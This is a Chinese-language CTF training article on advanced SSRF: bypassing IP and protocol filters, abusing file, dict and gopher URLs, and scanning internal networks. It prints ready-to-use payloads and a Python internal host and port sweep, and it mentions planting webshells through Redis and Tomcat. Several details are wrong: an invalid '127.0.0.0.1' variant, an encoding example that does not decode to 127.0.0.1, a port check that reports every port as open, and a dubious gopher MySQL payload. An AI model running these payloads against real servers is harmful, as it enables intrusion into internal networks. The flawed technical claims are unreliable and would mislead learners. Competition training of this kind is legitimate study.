文章总结: 该文档系统解析CTF国赛Web题型中SSRF漏洞的进阶应用,重点阐述四大高频场景:IP/协议限制绕过技巧(如进制转换、DNS重绑定)、协议利用方法(file/dict/gopher协议读取文件、探测端口、执行命令)、内网穿透探测流程(存活主机扫描、端口批量检测)以及与其他漏洞的联动利用。文档提供标准化解题流程、实战脚本及避坑指南,旨在帮助选手突破国赛拉分题型。 综合评分: 75 文章分类: CTF,WEB安全,渗透测试,红队,内网渗透
CTF国赛技术点系列(第3期)——Web拉分考点:SSRF进阶与内网穿透(国赛高频)
原创
点击关注👉 点击关注👉
网络安全学习室
2026年4月29日 10:36 湖南
在小说阅读器读本章
去阅读
一、技术点定位(国赛Web拉分关键,区分度极高)
SSRF(服务器端请求伪造)是国赛Web板块高区分度拉分考点,占Web板块分值的20%左右,常结合内网渗透、端口探测、漏洞利用出题,属于“送分题少、拉分题多”的核心考点。
国赛中的SSRF,绝非简单的“访问本地127.0.0.1”,核心考查绕过限制、协议利用、内网探测、联动漏洞拿flag四大核心能力,很多备赛选手因不熟悉内网穿透技巧、协议利用方法,遇到这类题直接放弃,错失拉分机会。
本期全程对标国赛真题,拆解SSRF高频绕过场景、内网探测技巧、协议利用方法,搭配实战脚本和真题案例,让你吃透SSRF进阶考点,轻松拿下国赛内网相关拉分题,拉开与其他选手的差距。
核心目标:掌握SSRF 4类高频绕过技巧、3类核心协议利用、内网探测方法,能联动漏洞获取内网flag,做到“见SSRF能破,遇内网能探”。
二、国赛SSRF核心考查逻辑(先懂出题套路,再练技巧)
国赛SSRF题的核心出题逻辑的是:存在SSRF漏洞 → 有IP/协议限制 → 绕过限制 → 探测内网端口/服务 → 利用内网漏洞/敏感文件 → 拿到flag。
国赛中最常见的限制的是:① 禁止访问内网IP(如127.0.0.1、192.168.0.0/16);② 禁止使用危险协议(如gopher、dict);③ 限制请求域名(只允许访问指定域名)。
掌握“绕过限制→内网探测→漏洞利用”的闭环,就能搞定国赛90%的SSRF题,下面逐环节拆解实战技巧。
三、国赛SSRF高频场景(4类核心,对标真题)
场景1:SSRF限制绕过(国赛基础,必掌握,占比35%)
题目特征:存在SSRF漏洞(如通过?url=xxx参数发起请求),但访问内网IP(如127.0.0.1)、危险协议时被拦截,核心考查“如何绕过IP/协议限制”。
1. 核心考点
- 内网IP绕过(IP变种、域名解析、进制转换);
- 协议绕过(协议变形、嵌套协议);
- URL绕过(特殊符号、编码绕过)。
2. 国赛临场绕过技巧(按优先级排序,直接试)
- 内网IP变种绕过(最常用,通过率90%)
- 127.0.0.1变种:
127\.0\.0\.0\.1、0\.0\.0\.0、localhost、127\.1(简化写法,等价于127.0.0.1); - 进制转换绕过:将IP转为十进制、八进制、十六进制,如127.0.0.1十进制为
2130706433,构造请求?url=http://2130706433; - 域名解析绕过:注册域名指向内网IP,或利用DNS重绑定,如将xxx.com解析到192.168.1.100,构造
?url=http://xxx\.com。
- 协议绕过(国赛高频,针对协议限制)
- 协议变形:将
http://改为http:///、http:/(多余斜杠,部分过滤规则会忽略); - 嵌套协议:用http嵌套gopher、dict,如
?url=http://gopher://127\.0\.0\.1:23,绕过协议拦截; - 冷门协议利用:用
ftp、telnet协议探测端口,绕过http协议限制。
- 编码绕过(针对严格过滤)
- URL编码:对IP、协议进行多次URL编码,如将127.0.0.1编码为
%77%77%77%2E%31%32%37%2E%30%2E%30%2E%31; - Unicode编码:将IP中的“.”替换为Unicode编码
%2E,绕过字符过滤。
3. 国赛真题示例
题目场景:页面存在?url=xxx参数,访问?url=http://127\.0\.0\.1提示“禁止访问内网”,尝试用IP变种绕过,构造?url=http://127\.1,成功访问本地页面,获取敏感信息。
4. 避坑技巧
- 优先试IP变种和协议变形,操作简单、通过率高,不用一开始就用复杂编码;
- 进制转换后,记得加上http://前缀,否则可能无法正常发起请求;
- 若所有绕过方法都无效,尝试修改请求方式(GET改POST),部分过滤规则只针对GET请求。
场景2:SSRF协议利用(国赛核心拉分点,占比40%)
题目特征:SSRF无严格协议限制,可利用不同协议探测端口、执行命令、读取文件,核心考查“协议利用能力”,国赛最常考gopher、dict、file协议。
1. 核心考点(3类高频协议,必掌握)
- gopher协议(国赛最高频,可执行命令、发送POST请求);
- dict协议(探测端口、读取服务版本);
- file协议(读取本地敏感文件,送分点)。
2. 国赛实战协议利用方法(直接套用)
① file协议:读取本地敏感文件(送分题)
- 核心用法:构造
?url=file:///etc/passwd(Linux)、?url=file:///C:/Windows/system32/drivers/etc/hosts(Windows); - 国赛常读文件:
/flag、/var/www/html/flag\.php、/etc/flag,优先尝试这些路径,节省时间; - 注意:部分服务器禁止file协议,若访问失败,切换其他协议。
② dict协议:端口探测+服务版本读取
- 端口探测:构造
?url=dict://127\.0\.0\.1:80,若端口开放,会返回服务信息;若关闭,会提示连接失败; - 服务版本读取:构造
?url=dict://127\.0\.0\.1:3306/version,可读取MySQL服务版本,为后续漏洞利用做准备; - 国赛高频探测端口:80(HTTP)、3306(MySQL)、22(SSH)、443(HTTPS)、8080(Tomcat)。
③ gopher协议:执行命令+发送POST请求(拉分关键)
- 核心原理:gopher协议可模拟HTTP请求,发送POST、GET请求,执行命令(如MySQL命令、Redis命令);
- 国赛真题示例(MySQL命令执行):
- 构造gopher请求,连接MySQL(默认端口3306),发送命令读取flag;
- gopher请求格式(简化版):
gopher://127\.0\.0\.1:3306/\_%00%00%00%01%85%a6%00%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%75%73%65%72%00%00%6D%79%73%71%6C%5F%6E%61%74%69%76%65%5F%70%61%73%73%77%6F%72%64%00%66%6C%61%67%7B%78%78%78%78%7D%00; - 构造SSRF请求:
?url=gopher://127\.0\.0\.1:3306/\_\[上述gopher请求\],执行命令后获取flag。
- 技巧:用gopher协议时,需对请求内容进行URL编码,避免特殊字符被过滤。
3. 避坑技巧
- 优先用file协议读敏感文件,能拿分先拿分,再用dict、gopher探测;
- gopher协议请求格式复杂,可提前准备模板,比赛时修改参数即可;
- 探测端口时,优先探测常用端口,不要盲目遍历所有端口,节省时间。
场景3:SSRF联动内网探测(国赛高难度拉分题)
题目特征:SSRF可绕过限制访问内网,需探测内网存活主机、开放端口、敏感服务,找到内网中的flag或漏洞,属于国赛SSRF压轴题,区分度极高。
1. 核心考点
- 内网存活主机探测;
- 内网端口扫描;
- 内网敏感服务利用(如Redis、Tomcat、MySQL)。
2. 国赛实战内网探测流程(标准化,不踩坑)
- 第一步:确定内网网段(国赛高频网段:192.168.0.0/16、10.0.0.0/8、172.16.0.0/12);
- 第二步:探测存活主机(用dict协议或http请求,判断主机是否存活);
- 示例:构造
?url=http://192\.168\.1\.100,若返回状态码200/404,说明主机存活; - 技巧:用脚本批量探测,效率更高(脚本见下文)。
- 第三步:扫描存活主机开放端口(用dict协议,探测常用端口);
- 第四步:利用敏感服务漏洞(如Redis未授权访问、Tomcat弱口令),获取内网flag。
3. 国赛内网探测实战脚本(直接套用)
import requests
# SSRF漏洞地址
ssrf_url = "http://xxx.xxx.xxx.xxx/ssrf.php?url="
# 内网网段(国赛高频,可根据题目调整)
internal_network = "192.168.1."
# 探测内网存活主机
for i in range(1, 255):
target_ip = internal_network + str(i)
try:
# 用http请求探测存活
res = requests.get(ssrf_url + target_ip, timeout=2)
if res.status_code in [200, 404, 302]:
print(f"发现存活主机:{target_ip}")
# 探测该主机常用端口
ports = [80, 3306, 22, 8080, 6379]
for port in ports:
try:
# 用dict协议探测端口
port_res = requests.get(ssrf_url + f"dict://{target_ip}:{port}", timeout=1)
print(f" 主机{target_ip} 端口{port} 开放")
except:
pass
except:
pass
4. 国赛高频内网漏洞利用(必记)
- Redis未授权访问:用gopher协议发送Redis命令,写入webshell或读取flag;
- Tomcat弱口令:用SSRF访问Tomcat管理页面,登录后上传webshell;
- 内网HTTP服务:访问内网web页面,寻找隐藏的flag或其他漏洞。
场景4:SSRF与其他漏洞联动(国赛冷门但易拿分)
题目特征:SSRF漏洞与文件包含、命令执行、SQL注入等漏洞联动,需结合多个漏洞才能拿到flag,属于国赛“送分拉满”的冷门题型。
1. 国赛高频联动场景
- SSRF + 文件包含:用SSRF获取内网文件路径,再用文件包含漏洞读取文件;
- SSRF + 命令执行:用gopher协议发送命令,联动命令执行漏洞,直接获取flag;
- SSRF + SQL注入:用SSRF访问内网MySQL服务,联动SQL注入,读取数据库中的flag。
2. 解题核心
先利用SSRF突破内网限制,获取敏感信息(路径、服务、端口),再结合其他漏洞完成漏洞利用,不要孤立看待SSRF,灵活联动才能快速拿分。
四、国赛SSRF临场解题流程(标准化,高效拿分)
- 第一步:判断是否存在SSRF漏洞(构造
?url=http://www\.baidu\.com,查看是否能正常请求); - 第二步:测试限制类型(IP限制、协议限制、域名限制);
- 第三步:用优先级技巧绕过限制,优先访问127.0.0.1和本地敏感文件;
- 第四步:用dict、gopher协议探测端口、执行命令;
- 第五步:探测内网存活主机,利用内网敏感服务漏洞;
- 第六步:联动其他漏洞,完成flag提取,不钻牛角尖,卡壳超过20分钟及时放弃。
五、文末福利
如果你也是零基础、想参加竞赛网安但不知道从哪开始,可以点击文末阅读原文领取200节攻防教程,帮你少走弯路。后续我会持续更新网安实战、就业、副业相关干货,关注我,带你从零基础一步步靠网安变现。
六、下期预告
下一期,我们切换到国赛二进制板块,更新第一个核心技术点——Reverse无壳程序分析(入门到进阶),拆解国赛Reverse入门必考点、IDA使用技巧、程序逻辑追踪方法,帮你打破二进制“劝退”壁垒,拿下二进制基础送分题。关注我,国赛技术点系列持续更新,逐个吃透核心考点,稳稳冲奖。#CTF国赛 #国赛技术点 #SSRF进阶 #内网穿透 #CTF备赛干货 #Web拉分
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:网络安全学习室 点击关注👉 点击关注👉《CTF国赛技术点系列(第3期)——Web拉分考点:SSRF进阶与内网穿透(国赛高频)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论